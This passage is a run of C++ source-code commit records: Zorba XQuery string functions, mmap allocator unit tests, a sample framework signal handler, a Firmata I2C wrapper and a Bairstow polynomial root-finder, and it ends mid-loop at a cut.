planState);\r\n\tSTACK_END2();\r\n}\r\n\/* end class StringToCodepointsIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\t7.3.2 fn:compare\r\n * fn:compare($comparand1 as xs:string?,\r\n * \t\t\t\t\t\t\t\t\t$comparand2 as xs:string?) as xs:integer\r\n *\r\n * fn:compare( \t$comparand1\tas xs:string?,\r\n * \t\t\t\t\t\t\t\t\t\t$comparand2\tas xs:string?,\r\n * \t\t\t\t\t\t\t\t\t\t$collation\tas xs:string) as xs:integer?\r\n *\r\n * Summary: Returns -1, 0, or 1, depending on whether the value of\r\n * the $comparand1 is respectively less than, equal to, or greater\r\n * than the value of $comparand2, according to the rules of\r\n * the collation that is used.\r\n *\r\n * If either argument is the empty sequence, the result is the empty sequence.\r\n *_______________________________________________________________________*\/\r\n\r\n\/* begin class CompareStrIterator *\/\r\nItem_t\r\nCompareStrIterator::nextImpl(PlanState& planState) {\r\n\tItem_t n0;\r\n\tItem_t n1;\r\n\tItem_t n2;\r\n\tItem_t res;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\tn0 = consumeNext ( theChildren[0], planState );\r\n\tif ( n0 != NULL )\t{\r\n\t\tn1 = consumeNext ( theChildren[1], planState );\r\n\t\tif ( n1 != NULL )\t{\r\n\t\t\tn0 = n0->getAtomizationValue();\r\n\t\t\tn1 = n1->getAtomizationValue();\r\n\t\t\tn2 = consumeNext ( theChildren[2], planState );\r\n\t\t\tif(theChildren.size() == 3)\t{\r\n\t\t\t\tif ( n2 != NULL )\t{\r\n\t\t\t\t\t\/\/TODO solve track issue no.26\r\n\t\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(\r\n\t\t\t\t\t\t\t\t\tn0->getStringValue().compare(n1->getStringValue(), n2->getStringValue().c_str()));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createInteger(\r\n\t\t\t\t\t\t\t\tn0->getStringValue().compare(n1->getStringValue()));\r\n\t\t\t}\r\n\t\t\tSTACK_PUSH2( res, state );\r\n\t\t}\r\n\t}\r\n\r\n\tSTACK_END2();\r\n}\r\n\/* end class CompareStrIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.3.3 fn:codepoint-equal\r\n *\r\n *\tfn:codepoint-equal( \t$comparand1 \t as xs:string?,\r\n *  \t\t\t\t\t\t\t\t\t\t\t$comparand2 \t as xs:string?) as xs:boolean?\r\n *\r\n *\tSummary: Returns true or false depending on whether the value\r\n * of $comparand1 is equal to the value of $comparand2, according to\r\n * the Unicode code point collation\r\n * (http:\/\/www.w3.org\/2005\/xpath-functions\/collation\/codepoint).\r\n *\r\n * If either argument is the empty sequence, the result is the empty sequence.\r\n * \r\n * Note: This function allows xs:anyURI values to be compared\r\n * without having to specify the Unicode code point collation.\r\n *_______________________________________________________________________*\/\r\n\/* begin class CodepointEqualIterator *\/\r\nItem_t CodepointEqualIterator::nextImpl(PlanState& planState){\r\n\t\tItem_t item0;\r\n\t\tItem_t item1;\r\n\t\tItem_t res;\r\n\r\n\t\tPlanIterator::PlanIteratorState* state;\r\n\t\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\t\titem0 = consumeNext ( theChild0, planState );\r\n\t\tif ( item0 != NULL )\t{\r\n\t\t\titem1 = consumeNext ( theChild1, planState );\r\n\t\t\tif ( item1 != NULL )\t{\r\n\t\t\t\titem0 = item0->getAtomizationValue();\r\n\t\t\t\titem1 = item1->getAtomizationValue();\r\n\t\t\t\tres = zorba::getZorbaForCurrentThread()->getItemFactory()->createBoolean(\r\n\t\t\t\t\t\t\t\t\titem0->getStringValue() == item1->getStringValue());\r\n\t\t\t\tSTACK_PUSH2( res, state );\r\n\t\t\t}\r\n\t\t}\r\n\t\tSTACK_END2();\r\n}\r\n\/* end class CodepointEqualIterator *\/\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.4.1 fn:concat\r\n *\r\n * fn:concat( \t$arg1 \t as xs:anyAtomicType?,\r\n * \t\t\t\t\t\t\t\t\t$arg2 \t as xs:anyAtomicType?,\r\n * \t\t\t\t\t\t\t\t\t...\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t) as xs:string\r\n * \r\n * Summary:\r\n * Accepts two or more xs:anyAtomicType arguments and casts them to xs:string.\r\n * Returns the xs:string that is the concatenation of the values of its\r\n * arguments after conversion.\r\n * If any of the arguments is the empty sequence, the argument is treated\r\n * as the zero-length string.\r\n *\r\n * The fn:concat function is specified to allow an two or more arguments\r\n * that are concatenated together.\r\n *\r\n * Note:\r\n * Unicode normalization is not automatically applied to the result\r\n * of fn:concat. If a normalized result is required, fn:normalize-unicode\r\n * can be applied to the xs:string returned by fn:concat.\r\n *_______________________________________________________________________*\/\r\n\/* begin class ConcatStrIterator *\/\r\nItem_t ConcatStrIterator::nextImpl(PlanState& planState) {\r\n\t\/*\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string resStr;\r\n\r\n\tint argsNo = theChildren.size();*\/\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\/*\r\n\twhile(true){\r\n\t\titem = consumeNext ( theChildren, planState );\r\n\t\tif ( item != NULL ){\r\n\t\t\titem = item->getAtomizationValue();\r\n\t\t\tresStr += item->getStringValue();\r\n\t\t}\r\n\t\telse{\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(resStr);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}*\/\r\n\tSTACK_END2();\r\n}\r\n\/* end class ConcatStrIterator *\/\r\n\r\n\/**\r\n *______________________________________________________________________\r\n *\r\n *\t7.4.2 fn:string-join\r\n *\r\n * fn:string-join($arg1 as xs:string*,\r\n * \t\t\t\t\t\t\t\t\t\t$arg2 as xs:string) as xs:string\r\n *\r\n * Summary: Returns a xs:string created by concatenating the members\r\n * of the $arg1 sequence using $arg2 as a separator.\r\n *\r\n * If the value of $arg2 is the zero-length string,\r\n * then the members of $arg1 are concatenated without a separator.\r\n *\r\n * If the value of $arg1 is the empty sequence,\r\n * the zero-length string is returned.\r\n *_______________________________________________________________________*\/\r\n\/* begin class StringJoinIterator *\/\r\nItem_t StringJoinIterator::nextImpl(PlanState& planState) {\r\n\tItem_t item;\r\n\tItem_t resItem;\r\n\txqp_string resStr;\r\n\txqp_string separator;\r\n\r\n\tPlanIterator::PlanIteratorState* state;\r\n\tSTACK_INIT2(PlanIterator::PlanIteratorState, state, planState);\r\n\r\n\/\/TODO this is not correct:\r\n\/\/Step 1: find the separator based on the type (item not sequence)\r\n\/\/step 2: concatenate the items whithin the sequence using separator as \"glue\"\r\n\twhile(true){\r\n\t\titem = consumeNext ( theChild0, planState );\r\n\t\tif ( item != NULL ){\r\n\t\t\titem = item->getAtomizationValue();\r\n\t\t\tresStr += item->getStringValue();\r\n\t\t}\r\n\t\telse{\r\n\t\t\tresItem = zorba::getZorbaForCurrentThread()->getItemFactory()->createString(resStr);\r\n\t\t\tSTACK_PUSH2( resItem, state );\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tSTACK_END2();\r\n}\r\n\/* end class StringJoinIterator *\/\r\n} \/* namespace xqp *\/\r\n<|endoftext|>"}
{"text":"<commit_before>#include <map>\n#include <unordered_map>\n#include <gtest\/gtest.h>\n#include \"mmap_allocator.h\"\n\nusing std::string;\nusing std::to_string;\n\n\nnamespace mm {\n\nstruct Foo {\n  Foo(int x) : x(x) {}\n  ~Foo() { y = x; }\n\n  int x;\n  static int y;\n};\n\nint Foo::y = 0;\n\n\nclass AllocatorTest : public testing::Test {\n protected:\n  void SetUp() {\n    if (!SetStorage(\"test.db\")) {\n      FAIL() << \"Unable to create storage\";\n    }\n  }\n  void TearDown() {\n    if (!Cleanup()) {\n      FAIL() << \"Unable to cleanup storage\";\n    }\n  }\n};\n\nTEST_F(AllocatorTest, Allocate) {\n  Allocator<int> alloc;\n  int* p = alloc.allocate(1);\n  ASSERT_FALSE(p == NULL);\n  *p = 4;\n  EXPECT_EQ(4, *p);\n\n  alloc.deallocate(p, 1);\n}\n\nTEST_F(AllocatorTest, New) {\n  Allocator<int> alloc;\n  int* p = new (alloc) int(4);\n  ASSERT_FALSE(p == NULL);\n  EXPECT_EQ(*p, 4);\n  *p = 42;\n  EXPECT_EQ(*p, 42);\n\n  alloc.deallocate(p, 1);\n}\n\nTEST_F(AllocatorTest, NewArray) {\n  Allocator<int> alloc;\n  int* p = new (alloc) int[10];\n  p[9] = 42;\n  EXPECT_EQ(p[9], 42);\n\n  alloc.deallocate(p, 10);\n}\n\nTEST_F(AllocatorTest, NewConstructor) {\n  Allocator<Foo> alloc;\n  Foo* foo = new (alloc) Foo(49);\n  EXPECT_EQ(49, foo->x);\n\n  alloc.deallocate(foo, 1);\n}\n\nTEST_F(AllocatorTest, Destructor) {\n  Allocator<Foo> alloc;\n  Foo* foo = new (alloc) Foo(49);\n  alloc.destroy(foo);\n  alloc.deallocate(foo, 1);\n\n  EXPECT_EQ(49, Foo::y);\n}\n\nTEST_F(AllocatorTest, VectorInt) {\n  vector<int> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(i);\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(i, vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, VectorIntInitialized) {\n  vector<int> vec{4, 42, 24, 7};\n\n  EXPECT_EQ(4, vec.size());\n  EXPECT_EQ(4, vec[0]);\n  EXPECT_EQ(42, vec[1]);\n  EXPECT_EQ(24, vec[2]);\n  EXPECT_EQ(7, vec[3]);\n}\n\nTEST_F(AllocatorTest, VectorDouble) {\n  vector<double> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(sqrt(i));\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(sqrt(i), vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, VectorString) {\n  vector<string> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(\"Hello, world!\");\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(\"Hello, world!\", vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, MapStringString) {\n  map<string, string> m;\n\n  m[\"Hello\"] = \"World\";\n  m[\"Goodbye\"] = \"All\";\n  m[\"2+2\"] = \"4\";\n\n  EXPECT_EQ(3, m.size());\n  EXPECT_EQ(\"World\", m[\"Hello\"]);\n}\n\nTEST_F(AllocatorTest, SetString) {\n  set<string> s;\n\n  s.insert(\"foo\");\n  s.insert(\"bar\");\n\n  EXPECT_EQ(2, s.size());\n  EXPECT_EQ(1, s.count(\"foo\"));\n  EXPECT_EQ(1, s.count(\"bar\"));\n  EXPECT_EQ(0, s.count(\"baz\"));\n}\n\nTEST_F(AllocatorTest, HashStringString) {\n  unordered_map<string, string> m;\n\n  m[\"Hello\"] = \"World\";\n  m[\"Goodbye\"] = \"All\";\n  m[\"2+2\"] = \"4\";\n\n  EXPECT_EQ(3, m.size());\n  EXPECT_EQ(\"World\", m[\"Hello\"]);\n}\n\nTEST_F(AllocatorTest, Nested) {\n  unordered_map<string, vector<string>> m;\n  EXPECT_EQ(0, m.size());\n\n  for (int i = 0; i < 10; ++i) {\n    m[\"foo\"].push_back(to_string(i));\n  }\n  EXPECT_EQ(10, m[\"foo\"].size());\n\n  for (int i = 0; i < 10; ++i) {\n    m[\"bar\"].push_back(to_string(i * i));\n  }\n  EXPECT_EQ(10, m[\"bar\"].size());\n\n  for (int i = 0; i < 10; ++i) {\n    EXPECT_EQ(to_string(i), m[\"foo\"][i]);\n  }\n  for (int i = 0; i < 10; ++i) {\n    EXPECT_EQ(to_string(i * i), m[\"bar\"][i]);\n  }\n}\n\n};  \/\/ namespace mm\n<commit_msg>added some more tests<commit_after>#include <map>\n#include <unordered_map>\n#include <gtest\/gtest.h>\n#include \"mmap_allocator.h\"\n\nusing std::string;\nusing std::to_string;\n\n\nnamespace mm {\n\nstruct Foo {\n  Foo(int x) : x(x) {}\n  ~Foo() { y = x; }\n\n  int x;\n  static int y;\n};\n\nint Foo::y = 0;\n\n\nclass AllocatorTest : public testing::Test {\n protected:\n  void SetUp() {\n    if (!SetStorage(\"test.db\")) {\n      FAIL() << \"Unable to create storage\";\n    }\n  }\n  void TearDown() {\n    if (!Cleanup()) {\n      FAIL() << \"Unable to cleanup storage\";\n    }\n  }\n};\n\nTEST_F(AllocatorTest, Allocate) {\n  Allocator<int> alloc;\n  int* p = alloc.allocate(1);\n  ASSERT_FALSE(p == NULL);\n  *p = 4;\n  EXPECT_EQ(4, *p);\n\n  alloc.deallocate(p, 1);\n}\n\nTEST_F(AllocatorTest, New) {\n  Allocator<int> alloc;\n  int* p = new (alloc) int(4);\n  ASSERT_FALSE(p == NULL);\n  EXPECT_EQ(*p, 4);\n  *p = 42;\n  EXPECT_EQ(*p, 42);\n\n  alloc.deallocate(p, 1);\n}\n\nTEST_F(AllocatorTest, NewArray) {\n  Allocator<int> alloc;\n  int* p = new (alloc) int[10];\n  p[9] = 42;\n  EXPECT_EQ(p[9], 42);\n\n  alloc.deallocate(p, 10);\n}\n\nTEST_F(AllocatorTest, NewConstructor) {\n  Allocator<Foo> alloc;\n  Foo* foo = new (alloc) Foo(49);\n  EXPECT_EQ(49, foo->x);\n\n  alloc.deallocate(foo);\n}\n\nTEST_F(AllocatorTest, Destructor) {\n  Allocator<Foo> alloc;\n  Foo* foo = new (alloc) Foo(49);\n  alloc.destroy(foo);\n  alloc.deallocate(foo, 1);\n\n  EXPECT_EQ(49, Foo::y);\n}\n\nTEST_F(AllocatorTest, VectorInt) {\n  vector<int> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(i);\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(i, vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, VectorIntInitialized) {\n  vector<int> vec{4, 42, 24, 7};\n\n  EXPECT_EQ(4, vec.size());\n  EXPECT_EQ(4, vec[0]);\n  EXPECT_EQ(42, vec[1]);\n  EXPECT_EQ(24, vec[2]);\n  EXPECT_EQ(7, vec[3]);\n}\n\nTEST_F(AllocatorTest, VectorDouble) {\n  vector<double> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(sqrt(i));\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(sqrt(i), vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, VectorString) {\n  vector<string> vec;\n\n  for (int i = 0; i < 10; ++i) {\n    vec.push_back(\"Hello, world!\");\n  }\n\n  EXPECT_EQ(10, vec.size());\n\n  for (int i = 0; i < vec.size(); ++i) {\n    EXPECT_EQ(\"Hello, world!\", vec[i]);\n  }\n}\n\nTEST_F(AllocatorTest, MapStringString) {\n  map<string, string> m;\n\n  m[\"Hello\"] = \"World\";\n  m[\"Goodbye\"] = \"All\";\n  m[\"2+2\"] = \"4\";\n\n  EXPECT_EQ(3, m.size());\n  EXPECT_EQ(\"World\", m[\"Hello\"]);\n}\n\nTEST_F(AllocatorTest, SetString) {\n  set<string> s;\n\n  s.insert(\"foo\");\n  s.insert(\"bar\");\n\n  EXPECT_EQ(2, s.size());\n  EXPECT_EQ(1, s.count(\"foo\"));\n  EXPECT_EQ(1, s.count(\"bar\"));\n  EXPECT_EQ(0, s.count(\"baz\"));\n}\n\nTEST_F(AllocatorTest, HashStringString) {\n  unordered_map<string, string> m;\n\n  m[\"Hello\"] = \"World\";\n  m[\"Goodbye\"] = \"All\";\n  m[\"2+2\"] = \"4\";\n\n  EXPECT_EQ(3, m.size());\n  EXPECT_EQ(\"World\", m[\"Hello\"]);\n}\n\nTEST_F(AllocatorTest, Nested) {\n  unordered_map<string, vector<string>> m;\n  EXPECT_EQ(0, m.size());\n\n  for (int i = 0; i < 10; ++i) {\n    m[\"foo\"].push_back(to_string(i));\n  }\n  EXPECT_EQ(10, m[\"foo\"].size());\n\n  for (int i = 0; i < 10; ++i) {\n    m[\"bar\"].push_back(to_string(i * i));\n  }\n  EXPECT_EQ(10, m[\"bar\"].size());\n\n  for (int i = 0; i < 10; ++i) {\n    EXPECT_EQ(to_string(i), m[\"foo\"][i]);\n  }\n  for (int i = 0; i < 10; ++i) {\n    EXPECT_EQ(to_string(i * i), m[\"bar\"][i]);\n  }\n}\n\n};  \/\/ namespace mm\n<|endoftext|>"}
{"text":"<commit_before>#include \"sample.hpp\"\n\nclass HelloSample : public Sample\n{\npublic:\n\tvirtual bool initContents()\n\t{\n\t\treturn true;\n\t}\n\n\tvirtual void destroyContents()\n\t{\n\t}\n\n\tvirtual void update(float dt)\n\t{\n\t}\n\n\tvirtual void render()\n\t{\n\t}\n};\n\nint main(int argc, char** argv)\n{\n\tauto helloSample = new HelloSample();\n\thelloSample->init();\n\n\thelloSample->run();\n\n\thelloSample->destroy();\n\n\tif (helloSample) {\n\t\tdelete helloSample;\n\t\thelloSample = nullptr;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Write sampleframwork test<commit_after>#include \"sample.hpp\"\n\n#include <cstdio>\n#include <cstdlib>\n\n#include <signal.h>\n\nclass HelloSample : public Sample\n{\npublic:\n\tvirtual bool initContents()\n\t{\n\t\treturn true;\n\t}\n\n\tvirtual void destroyContents()\n\t{\n\t}\n\n\tvirtual void update(float dt)\n\t{\n\t}\n\n\tvirtual void render()\n\t{\n\t}\n};\n\nSample* helloSample = nullptr;\n\nvoid funCatch(int signal)\n{\n\tif (helloSample == nullptr)\n\t\treturn;\n\n\thelloSample->destroy();\n\n\tif (helloSample) {\n\t\tdelete helloSample;\n\t\thelloSample = nullptr;\n\t}\n\n\tprintf(\"interrupted!\\n\");\n\n\texit(EXIT_SUCCESS);\n}\n\nint main(int argc, char** argv)\n{\n\tif (signal(SIGINT, funCatch) == SIG_ERR) {\n\t\tfprintf(stderr, \"cannot catch signal\\n\");\n\t}\n\n\thelloSample = new HelloSample();\n\thelloSample->init();\n\n\thelloSample->run();\n\n\thelloSample->destroy();\n\n\tif (helloSample) {\n\t\tdelete helloSample;\n\t\thelloSample = nullptr;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright(c) Microsoft Open Technologies, Inc. All rights reserved.\n\n    The MIT License(MIT)\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files(the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions :\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n    THE SOFTWARE.\n*\/\n\n#include \"pch.h\"\n#include \"TwoWire.h\"\n\nusing namespace Microsoft::Maker::Firmata;\nusing namespace Microsoft::Maker::RemoteWiring::I2c;\n\nvoid\nTwoWire::enable(\n    uint16_t i2cReadDelayMicros_\n    )\n{\n\ti2cReadDelayMicros_ = (i2cReadDelayMicros_ > MAX_READ_DELAY_MICROS) ? MAX_READ_DELAY_MICROS : i2cReadDelayMicros_;\n\n    _firmata->beginSysex( static_cast<uint8_t>( SysexCommand::I2C_CONFIG ) );\n    _firmata->appendSysex( i2cReadDelayMicros_ );\n\t_firmata->endSysex();\n}\n\n\nvoid\nTwoWire::beginTransmission(\n    uint8_t address_\n    )\n{\n    if( _address ) return;\n    _address = address_;\n    _position = 0;\n}\n\nvoid\nTwoWire::write(\n    uint8_t data_\n    )\n{\n    if( !_address || _position > MAX_MESSAGE_LEN ) return;\n    _data_buffer.get()[_position] = data_;\n    ++_position;\n}\n\n\nvoid\nTwoWire::endTransmission(\n    void\n    )\n{\n    if( !_address ) return;\n    sendI2cSysex( _address, 0, _position, _data_buffer.get() );\n    _address = 0;\n    _position = 0;\n}\n\n\n\/\/******************************************************************************\n\/\/* Private Methods\n\/\/******************************************************************************\n\nvoid\nTwoWire::sendI2cSysex(\n    const uint8_t address_,\n    const uint8_t rw_mask_,\n    const uint8_t len_,\n    uint8_t *data_\n    )\n{\n    _firmata->lock();\n    try\n    {\n        _firmata->write( static_cast<uint8_t>( Command::START_SYSEX ) );\n        _firmata->write( static_cast<uint8_t>( Microsoft::Maker::Firmata::SysexCommand::I2C_REQUEST ) );\n        _firmata->write( address_ );\n        _firmata->write( rw_mask_ );\n\n        if( data_ != nullptr )\n        {\n            for( size_t i = 0; i < len_; ++i )\n            {\n                _firmata->sendValueAsTwo7bitBytes( data_[i] );\n            }\n        }\n\n        _firmata->write( static_cast<uint8_t>( Command::END_SYSEX ) );\n        _firmata->flush();\n        _firmata->unlock();\n    }\n    catch( ... )\n    {\n        _firmata->unlock();\n    }\n}\n\n\nvoid\nTwoWire::onI2cReply(\n    I2cCallbackEventArgs ^args\n    )\n{\n    I2cReplyEvent( args->getAddress(), args->getRegister(), Windows::Storage::Streams::DataReader::FromBuffer( args->getDataBuffer() ) );\n}\n<commit_msg>Replaced logic in TwoWire to use the new sendSysex model.<commit_after>\/*\n    Copyright(c) Microsoft Open Technologies, Inc. All rights reserved.\n\n    The MIT License(MIT)\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files(the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions :\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n    THE SOFTWARE.\n*\/\n\n#include \"pch.h\"\n#include \"TwoWire.h\"\n\nusing namespace Microsoft::Maker::Firmata;\nusing namespace Microsoft::Maker::RemoteWiring::I2c;\n\nvoid\nTwoWire::enable(\n    uint16_t i2cReadDelayMicros_\n    )\n{\n\ti2cReadDelayMicros_ = (i2cReadDelayMicros_ > MAX_READ_DELAY_MICROS) ? MAX_READ_DELAY_MICROS : i2cReadDelayMicros_;\n\n    using Windows::Storage::Streams::DataWriter;\n    DataWriter ^writer = ref new DataWriter();\n    writer->WriteByte( i2cReadDelayMicros_ & 0x7F );\n    writer->WriteByte( ( i2cReadDelayMicros_ >> 7 ) & 0x7F );\n\n    _firmata->sendSysex( SysexCommand::I2C_CONFIG, writer->DetachBuffer() );\n}\n\n\nvoid\nTwoWire::beginTransmission(\n    uint8_t address_\n    )\n{\n    if( _address ) return;\n    _address = address_;\n    _position = 0;\n}\n\nvoid\nTwoWire::write(\n    uint8_t data_\n    )\n{\n    if( !_address || _position > MAX_MESSAGE_LEN ) return;\n    _data_buffer.get()[_position] = data_;\n    ++_position;\n}\n\n\nvoid\nTwoWire::endTransmission(\n    void\n    )\n{\n    if( !_address ) return;\n    sendI2cSysex( _address, 0, _position, _data_buffer.get() );\n    _address = 0;\n    _position = 0;\n}\n\n\n\/\/******************************************************************************\n\/\/* Private Methods\n\/\/******************************************************************************\n\nvoid\nTwoWire::sendI2cSysex(\n    const uint8_t address_,\n    const uint8_t rw_mask_,\n    const uint8_t len_,\n    uint8_t *data_\n    )\n{\n    _firmata->lock();\n    try\n    {\n        _firmata->write( static_cast<uint8_t>( Command::START_SYSEX ) );\n        _firmata->write( static_cast<uint8_t>( Microsoft::Maker::Firmata::SysexCommand::I2C_REQUEST ) );\n        _firmata->write( address_ );\n        _firmata->write( rw_mask_ );\n\n        if( data_ != nullptr )\n        {\n            for( size_t i = 0; i < len_; ++i )\n            {\n                _firmata->sendValueAsTwo7bitBytes( data_[i] );\n            }\n        }\n\n        _firmata->write( static_cast<uint8_t>( Command::END_SYSEX ) );\n        _firmata->flush();\n        _firmata->unlock();\n    }\n    catch( ... )\n    {\n        _firmata->unlock();\n    }\n}\n\n\nvoid\nTwoWire::onI2cReply(\n    I2cCallbackEventArgs ^args\n    )\n{\n    I2cReplyEvent( args->getAddress(), args->getRegister(), Windows::Storage::Streams::DataReader::FromBuffer( args->getDataBuffer() ) );\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <cmath>\n\nusing namespace std;\ndouble E = 0.0001;\n\nvoid bairstow( double *arr, double *arrOr, int size, double r, double s ) {\n    arr[size-1] = arrOr[size-1];\n    arr[size-2] = arr[size-1] * r + arrOr[size-2];\n\n    for ( int i = size - 3; i >= 0; i-- ) {\n        arr[i] = ( arr[i + 1] * r ) + ( arr[i + 2] * s ) + arrOr[i];\n    }\n    return;\n}\n\nint main() {\n    double arrVal[] = {2, -10, 10, 5, -5, 15};\n    int size = sizeof(arrVal) \/ sizeof(arrVal[0]);\n    int count = 1;\n\n    double arrB[size];\n    double arrC[size];\n\n    double r = -1;\n    double s = -1;\n\n    double dr;\n    double ds;\n\n    do {\n        bairstow( arrB, arrVal, size, r, s );\n        bairstow( arrC, arrB, size, r, s );\n        dr = ( -arrB[1] * arrC[2] - arrC[3] * -arrB[0] ) \/ ( arrC[2] * arrC[2] - arrC[1] * arrC[3] );\n        ds = ( -arrB[0] * arrC[2] - arrC[1] * -arrB[1] ) \/ ( arrC[2] * arrC[2] - arrC[1] * arrC[3] );\n\n        double errorR = ( dr \/ r ) * 100;\n        double errorS = ( ds \/ s ) * 100;\n\n        if ( abs(errorR) <= E && abs(errorS) <= E ) {\n            break;\n        }\n        r += dr;\n        s += ds;\n        count++;\n    } while (true);\n\n    double x1 = ( r + sqrt( r * r + 4 * s ) ) \/ 2;\n    double x2 = ( r - sqrt( r * r + 4 * s ) ) \/ 2;\n\n    cout << \"Root 1: \" << x1 << endl\n    << \"Root 2: \" << x2 << endl;\n\n    cout << \"r: \" << r << endl\n    << \"s: \" << s << endl;\n\n    for ( int i = 0; i < size; i++ ) {\n        cout << \"Coeficientes de la funcion con menor grado \" << arrC[i] << endl;\n    }\n    return 0;\n}\n<commit_msg>Update Bairstow.cpp<commit_after>#include<iostream>\n#include<cmath>\n\nusing namespace std;\n\nvoid Bairstow(float r, float s, float array[], int grado){\n\tfloat b[grado+1];\n    float c[grado+1];\n    b[0]= array[0];\n    b[1] = array[1]+(b[0]*r);\n    b[2] = array[2]+(b[1]*r)+(b[0]*s);\n    for (int i = 3; i < grado+1; ++i)\n    {\n        b[i] = array[i] + (b[i-1]*r) + (b[i-2]*s);\n    }\n\n    cout << \"-----b-----\" << endl;\n    for (int i = 0; i < grado+1; ++i)\n    {\n        cout << b[i] <<endl;\n    }\n    cout << \"----------\" << endl;\n\n    c[0]= b[0];\n    c[1] = b[1]+(c[0]*r);\n    c[2] = b[2]+(c[1]*r)+(c[0]*s);\n    for (int i = 3; i < grado+1; ++i)\n    {\n        c[i] = b[i] + (c[i-1]*r) + (c[i-2]*s);\n    }\n\n    cout << \"-----c-----\" << endl;\n    for (int i = 0; i < grado+1; ++i)\n    {\n        cout << c[i] <<endl;\n    }\n    cout << \"----------\" << endl;\n\n\n    float A = c[grado-2];\n    float B = c[grado-3];\n    float C = -b[grado-1];\n    float P = c[grado-1];\n    float Q = c[grado-2];\n    float R = -b[grado];\n\n    float deltaR = ((C*Q)-(B*R))\/((A*Q)-(P*B));\n    float deltaS = ((A*R)-(C*P))\/((A*Q)-(P*B));\n    cout << \"deltaR\" << deltaR << endl;\n    cout << \"deltaS\" << deltaS << endl;\n\n    r += deltaR;\n    s += deltaS;\n    cout << \"nueva r: \" << r <<endl;\n    cout << \"nueva s: \" << s <<endl;\n\n    float errorR = abs(deltaR\/r)*100;\n    float errorS = abs(deltaS\/s)*100;\n\n    cout << \"ErrorR: \" << errorR << endl;\n    cout << \"ErrorS: \" << errorS << endl;\n\n    int counter = 0;\n\n    while (errorR >= .01 || errorS >= .01){\n        b[0]= array[0];\n        b[1] = array[1]+(b[0]*r);\n        b[2] = array[2]+(b[1]*r)+(b[0]*s);\n        for (int i = 3; i < grado+1; ++i)\n        {\n            b[i] = array[i] + (b[i-1]*r) + (b[i-2]*s);\n        }\n\n        cout << \"-----b-----\" << endl;\n        for 